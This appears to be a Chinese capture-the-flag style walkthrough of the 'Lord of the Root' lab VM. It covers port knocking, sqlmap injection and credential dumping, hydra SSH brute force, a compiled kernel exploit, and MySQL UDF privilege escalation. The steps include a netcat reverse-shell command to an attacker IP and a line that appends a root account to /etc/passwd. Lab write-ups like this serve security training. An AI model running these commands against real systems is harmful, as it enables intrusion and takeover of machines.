【原创】项目六 Load Of The Root

时间:2023-01-30 22:08:21

实战流程

新创建文件夹,在这个文件夹里进行操作

【原创】项目六 Load Of The Root

nmap扫描下网段

【原创】项目六 Load Of The Root

根据nmap逐个排查,发现目标主机,但只有22端口

【原创】项目六 Load Of The Root

因此进一步扫描22端口的具体信息,没有扫出很有用的信息

【原创】项目六 Load Of The Root

发现靶场又提示一个用户,因此直接通过用户名来ssh,发现需要敲击三次端口(就是端口试探)

【原创】项目六 Load Of The Root

端口试探是啥?

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1

hping3 -S 10.211.55.11 -p 3 -c 1

-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448

梳理完毕,进行端口敲击

【原创】项目六 Load Of The Root

敲击完成,然后全端口扫描,发现了个额外的端口1337开启状态

【原创】项目六 Load Of The Root

访问该链接和端口,发现是一张图片,但没有发现该图片的有用信息

【原创】项目六 Load Of The Root

手动访问robots.txt文件,发现另外一张图片

【原创】项目六 Load Of The Root

查看源代码,发现base64

【原创】项目六 Load Of The Root

hash-identifier识别一下该base64,发现无法识别

【原创】项目六 Load Of The Root

再试试系统自带的base64的解码,发现解出来的是又是一段base64

【原创】项目六 Load Of The Root

那就继续解码,爆出了一个目录

【原创】项目六 Load Of The Root

拼接链接,用目录去访问,发现出来个登录页面!

【原创】项目六 Load Of The Root

既然是登录框,那就先试试sql注入,使用sqlmap跑,发现一个盲注

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms

【原创】项目六 Load Of The Root

然后进行注入,发现成功

【原创】项目六 Load Of The Root

接下来报数据库名,因为是一个个字符匹配,因此需要等一会

【原创】项目六 Load Of The Root

接收爆破出来的库名结果

【原创】项目六 Load Of The Root

接下来试试能不能通过sqlmap直接拿shell,发现可行

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --os-shell

【原创】项目六 Load Of The Root

发现写不进去,做了防护,只能继续爆库

【原创】项目六 Load Of The Root

开始爆出表名Users

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables

【原创】项目六 Load Of The Root

继续爆列名,需要等爆破后,获取结果

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns

【原创】项目六 Load Of The Root

接下来继续获取字段值,通过爆破获取账号和密码,并记录到user.txt,passwd

sqlmap -u http://192.168.117.131:1337/978345210/index.php --forms --dbs -D Webapp --tables -T Users --columns -C id,password,username --dump

【原创】项目六 Load Of The Root

user:
frodo
smeagol
aragorn
legolas
gimli

passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe

使用hydra进行端口爆破,发现账号和密码

hydra -L user.txt -P pass.txt 192.168.117.131 ssh

【原创】项目六 Load Of The Root

接下来进行登陆

smeagol
MyPreciousR00t

【原创】项目六 Load Of The Root

开启http服务

【原创】项目六 Load Of The Root

靶机获取脚本

【原创】项目六 Load Of The Root

进行赋权并执行

【原创】项目六 Load Of The Root

发现主机上的漏洞

【原创】项目六 Load Of The Root

另外发现缓冲区溢出文件

【原创】项目六 Load Of The Root

寻找mysql,尝试用mysql提权;

【原创】项目六 Load Of The Root

EXP内核提权

lsb_release -a

【原创】项目六 Load Of The Root

谷歌搜索:Ubuntu 14.04 exploit

https://www.exploit-db.com/exploits/39166

searchsploit 39166

【原创】项目六 Load Of The Root

cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/Desktop/lordof/

开启传输

python -m http.server 8081
wget http://10.211.55.19:8081/39166.c

【原创】项目六 Load Of The Root

gcc 39166.c -o heiyu
chmod +x heiyu
./dayu
cd /root
cat Flag.txt:
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

【原创】项目六 Load Of The Root


10、Mysql UDF提权

UDF提权先查看mysql版本!

dpkg -l | grep mysql   --查看历史安装包版本
5.5.44

查看mysql运行权限是不是root!

ps aux | grep mysql   ---查看mysql进程信息

【原创】项目六 Load Of The Root

在寻找mysql账号密码!

find / -name login.*

发现信息:/var/www/978345210/login.php

【原创】项目六 Load Of The Root

查看文件信息

grep "root" -rn 978345210/login.php

【原创】项目六 Load Of The Root

获得mysql密码:
darkshadow

登录mysql:

mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:

show global variables like 'secure%';

是可以进行UDF提权的!

【原创】项目六 Load Of The Root

查看插件目录:
show variables like '%plugin%';
插件目录在:/usr/lib/mysql/plugin/

【原创】项目六 Load Of The Root

查看能否远程登陆:

select user,host from user;

只能本地登录!

【原创】项目六 Load Of The Root

MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .

mv lib_mysqludf_sys_32.so heiyu.so

完成udf提权

mysql -uroot -pdarkshadow
use mysql
create table heiyu(heiyu longblob);
insert into heiyu values (load_file('/tmp/heiyu.so'));
select * from heiyu into dumpfile '/usr/lib/mysql/plugin/heiyu.so';
create function sys_exec returns string soname 'heiyu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');

【原创】项目六 Load Of The Root

find / -exec '/bin/sh' \;

提权成功

【原创】项目六 Load Of The Root

拓展知识点(反弹shell):或者利用sys_exec、sys_eval

select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');

openssl passwd heiyu1
YpIR51FecR9AY
select sys_exec('echo "heiyu1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');